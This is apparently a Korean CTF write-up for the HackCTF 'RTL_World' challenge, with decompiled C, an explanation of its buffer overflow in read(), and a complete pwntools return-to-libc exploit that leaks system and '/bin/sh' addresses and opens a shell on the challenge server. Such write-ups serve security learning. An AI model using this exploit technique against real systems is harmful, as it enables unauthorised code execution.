RTL_World

2022. 3. 23. 19:25wargame/HACKCTF

더보기
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+10h] [ebp-90h] BYREF
  char buf[128]; // [esp+14h] [ebp-8Ch] BYREF
  void *v6; // [esp+94h] [ebp-Ch]
  void *handle; // [esp+98h] [ebp-8h]
  void *s1; // [esp+9Ch] [ebp-4h]

  setvbuf(stdout, 0, 2, 0);
  handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
  v6 = dlsym(handle, "system");
  dlclose(handle);
  for ( s1 = v6; strcmp((const char *)s1, "/bin/sh"); s1 = (char *)s1 + 1 )
    ;
  puts("\n\nNPC [Village Presient] : ");
  puts("Binary Boss made our village fall into disuse...");
  puts("If you Have System Armor && Shell Sword.");
  puts("You can kill the Binary Boss...");
  puts("Help me Pwnable Hero... :(\n");
  printf("Your Gold : %d\n", gold);
  while ( 1 )
  {
    Menu();
    printf(">>> ");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        system("clear");
        puts("[Binary Boss]\n");
        puts("Arch:     i386-32-little");
        puts("RELRO:    Partial RELRO");
        puts("Stack:    No canary found");
        puts("NX:       NX enabled");
        puts("PIE:      No PIE (0x8048000)");
        puts("ASLR:  Enable");
        printf("Binary Boss live in %p\n", handle);
        puts("Binart Boss HP is 140 + Armor + 4\n");
        continue;
      case 2:
        Get_Money(gold);
        continue;
      case 3:
        if ( gold <= 1999 )
          goto LABEL_10;
        gold -= 1999;
        printf("System Armor : %p\n", v6);
        break;
      case 4:
        if ( gold <= 2999 )
        {
LABEL_10:
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 2999;
          printf("Shell Sword : %p\n", s1);
        }
        break;
      case 5:
        printf("[Attack] > ");
        read(0, buf, 0x400u);
        return 0;
      case 6:
        puts("Your Not Hero... Bye...");
        exit(0);
        return result;
      default:
        continue;
    }
  }
}

주어진 소스 코드입니다.

 

총 6개의 case로 나누어져 있는데 먼저 첫 번째는 프로그램 보호 기법과 dlopen으로 열린 라이브러리의 핸들 값을 알려줍니다.

두 번째는 Get_Money 함수가 실행됩니다.

더보기
int Get_Money()
{
  int result; // eax
  int v1; // [esp+8h] [ebp-Ch] BYREF
  int v2; // [esp+Ch] [ebp-8h]
  int v3; // [esp+10h] [ebp-4h]

  puts("\nThis world is F*cking JabonJui");
  puts("1) Farming...");
  puts("2) Item selling...");
  puts("3) Hunting...");
  v3 = 0;
  v2 = rand();
  printf("(Job)>>> ");
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 == 2 )
  {
    puts("\nItem selling...");
    while ( v3 <= 350 )
      ++v3;
    puts("+ 350 Gold");
    gold += v3;
    result = printf("\nYour Gold is %d\n", gold);
  }
  else if ( v1 > 2 )
  {
    if ( v1 == 3 )
    {
      puts("\nHunting...");
      while ( v3 <= 500 )
        ++v3;
      puts("+ 500 Gold");
      gold += v3;
      result = printf("\nYour Gold is %d\n", gold);
    }
    else if ( v1 == 4 )
    {
      puts("\nWow! you can find Hidden number!");
      puts("Life is Just a One Shot...");
      puts("Gambling...");
      printf("+ %d Gold\n", v2);
      gold += v2;
      result = printf("\nYour Gold is %d\n", gold);
    }
  }
  else if ( v1 == 1 )
  {
    puts("\nFarming...");
    while ( v3 <= 100 )
      ++v3;
    puts("+ 100 Gold");
    gold += v3;
    result = printf("\nYour Gold is %d\n", gold);
  }
  return result;
}

해당 함수에서 돈을 벌 수 있는데 조건문 중 v1 == 4면 gold += rand()입니다. 그래서 4번을 입력하면 충분한 돈을 얻을 수 있습니다.

 

세 번째는 gold가 1999보다 크면 system libc 주소를 출력합니다.

네 번째는 gold가 2999보다 크면 문자열 "/bin/sh"의 주소를 출력합니다. 

다섯 번째는 read(0, buf, 0x400) 함수가 실행됩니다. 해당 부분에서 BOF 공격이 일어납니다.

여섯 번째는 "Your Not Hero... Bye..."를 출력하고 프로그램을 종료합니다.

 

해당 문제를 풀기 위해서는 read 함수의 취약점을 이용해 ROP  공격을 수행하는 문제입니다.

32bit이기 때문에 "임의의 값" + system 주소 + 4byte + binsh 문자열의 주소를 넣으면 system("/bin/sh")가 실행됩니다.

 

 

코드와 결과는 아래와 같습니다.

from pwn import *

context.log_level = 'debug'

r = remote("ctf.j0n9hyun.xyz", 3010)

# earn money
r.sendlineafter(">>> ", "2")
r.sendlineafter(">>> ", "4")

# system address leak
r.sendlineafter(">>> ", "3")
system_libc = r.recvuntil('\n')[-11:-1]
print("[+] system address is ", system_libc)
system_libc = int(system_libc, 16)

# binsh address leak
r.sendlineafter(">>> ", "4")
binsh_libc = r.recvuntil('\n')[-11:-1]
print("[+] /bin/sh address is ", binsh_libc)
binsh_libc = int(binsh_libc, 16)

# BOF
payload = b"A" * 0x8C + b"B" * 0x4 + p32(system_libc) + b"C" * 0x4 + p32(binsh_libc)
r.sendlineafter(">>> ", "5")
r.send(payload)

r.interactive()

'wargame > HACKCTF' 카테고리의 다른 글

Poet  (0) 2022.03.23
g++ pwn  (0) 2022.03.23
Yes or no  (0) 2022.03.19
BOF_PIE  (0) 2022.03.19
Offset  (0) 2022.03.19